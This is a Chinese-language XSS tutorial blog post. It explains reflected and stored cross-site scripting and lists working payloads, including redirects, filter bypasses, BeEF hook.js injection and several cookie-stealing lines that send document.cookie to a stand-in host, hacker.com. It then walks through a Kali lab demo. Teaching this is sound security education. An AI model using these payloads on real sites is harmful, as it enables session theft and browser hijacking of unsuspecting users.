1.XSS簡介
跨站腳本(cross site script)為了避免與樣式css混淆,所以簡稱為XSS,
XSS是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式,那么什么是XSS呢?
XSS是指惡意攻擊者利用網站沒有對用戶提交資料進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁 面中去,使別的用戶訪問都會執行相應的嵌入代碼,
從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式, XSS攻擊的危害包括:
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業資料,包括讀取、篡改、添加、洗掉企業敏感資料的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
XSS主要原因:
過于信任客戶端提交的資料!
XSS主要分類:
反射型xss攻擊(Reflected XSS) 又稱為非持久性跨站點腳本攻擊,它是最常見的型別的XSS,漏洞產生的原因
是攻擊者注入的資料反映在回應中,一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用
戶的點擊),
存盤型XSS(Stored XSS) 又稱為持久型跨站點腳本,它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存盤在網
站資料庫,當一個頁面被用戶打開的時候執行,每當用戶打開瀏覽器,腳本執行,持久的XSS相比非持久性XSS
攻擊危害性更大, 因為每當用戶打開頁面,查看內容時腳本將自動執行,
2.構造XSS腳本
常用HTML標簽
<iframe> iframe 元素會創建包含另外一個檔案的行內框架(即行內框架),
<textarea> <textarea> 標簽定義多行的文本輸入控制元件,
<img> img 元素向網頁中嵌入一幅影像,
<script> <script> 標簽用于定義客戶端腳本,比如 JavaScript,
script 元素既可以包含腳本陳述句,也可以通過 src 屬性指向外部腳本檔案,
必需的 type 屬性規定腳本的 MIME 型別,
JavaScript 的常見應用時影像操作、表單驗證以及動態內容更新,
常用JavaScript方法
alert alert() 方法用于顯示帶有一條指定訊息和一個 確認 按鈕的警告框
window.location window.location 物件用于獲得當前頁面的地址 (URL),并把瀏覽器重定向到新的頁面, location.href 回傳當前顯示的檔案的完整 URL
onload 一張頁面或一幅影像完成加載
onsubmit 確認按鈕被點擊
onerror 在加載檔案或影像時發生錯誤
構造XSS腳本
彈框警告 此腳本實作彈框提示,一般作為漏洞測驗或者演示使用,類似SQL注入漏洞測驗中的單引號', 一旦此腳
本能執行,也就意 味著后端服務器沒有對特殊字符做過濾<>/' 這樣就可以證明,這個頁面位置存在了XSS漏
洞,
<script>alert('xss')</script> #會彈出一個xss的小框
<script>alert(document.cookie)</script>
頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
#會顯示出一個長寬都是300的百度頁面,你可以設定為其它頁面的url
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
頁面重定向
<script>window.location="http://www.baidu.com"</script> #跳轉到百度界面
<script>location.href="http://www.baidu.com"</script>
彈框警告并重定向
<script>alert("請移步到我們的新站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://www.baidu.com"</script>
這里結合了一些社工的思路,例如,通過網站內部私信的方式將其發給其他用戶,如果其他用戶點擊并且相信了
這個資訊,則可能在另外的站點重新登錄賬戶(克隆網站收集賬戶)
訪問惡意代碼
<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> #結合BeEF收集用戶的cookie
巧用圖片標簽
<img src="https://www.cnblogs.com/yjssjm/p/#" one rror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
繞開過濾的腳本
大小寫 <ScrIpt>alert('xss')</SCRipt>
字符編碼 采用URL、Base64等編碼
<a
href="https://www.cnblogs.com/yjssjm/p/javascript:alert ;("xss")">yjssjm</a>
收集用戶cookie
打開新視窗并且采用本地cookie訪問目標網頁,打開新視窗并且采用本地cookie訪問目標網頁,
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0;
img.height = 0;
</script>
上面這些代碼下面會有實驗來一一解釋,反射型xss和存盤型xss都能用,
3.反射型XSS
簡單來說反射型就是臨時的xss,只有別人把該鏈接發給你,你點開之后才會中圈套,但是你不點開,正常的去訪問該網站是沒什么問題的,
這里我們用kali當做被下套的客戶端,將我們做好的xss的鏈接地址復制到kali里面自帶的瀏覽器上
彈框警告:
<script>alert('yjssjm')</script>




所以,反射型xss只要我們不打開別人發的鏈接,自己去訪問該頁面是沒有什么問題的,
頁面重定向
<script>window.location="http://www.baidu.com"</script> #跳轉到百度界面
直接跳轉到百度界面

頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>

4.存盤型XSS
存盤型XSS(持久型XSS)即攻擊者將帶有XSS攻擊的鏈接放在網頁的某個頁面,例如評論框等; 用戶訪問此XSS鏈接并執行,由于存盤型XSS能夠攻擊所有訪問此頁面的用戶,所以危害非常大,
簡單來說,就是知道你訪問這個網站中帶有xss的區域就會中套,
彈框告警:
text1
<script>alert('yjssjm')</script>


然后我們去kali上面打開


這幾乎是存盤型xss,在某個區域,只要你點開就會中了別人下的圈套,
5.自動化xss
我們這里用到kali里面自帶的BeEF(牛)軟體,用來實作自動化xss
啟動Apache和BeEF:
root@kali:~# service apache2 start
然后打開BeEF



<script src="http://192.168.13.145:3000/hook.js"></script>
注:192.168.13.145為BeEF所在機器,即Kali Linux IP

你會發現我們的代碼沒法完全復制進去,是因為網頁給我們限制了字數,我們需要去修改一下

然后我們去kali里面登錄BeEF:
username: beef
password: beef



命令顏色(Color):
綠色 對目標主機生效并且不可見(不會被發現)
橙色 對目標主機生效但可能可見(可能被發現)
灰色 對目標主機未必生效(可驗證下)
紅色 對目標主機不生效

這里面我們就可以對目標靶機進行各種操作,不用寫代碼,內部已經設定好了代碼,我們只需要點點點,特別方便,
你們的評論和點贊是我寫文章的最大動力,蟹蟹,
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/108882.html
標籤:Linux
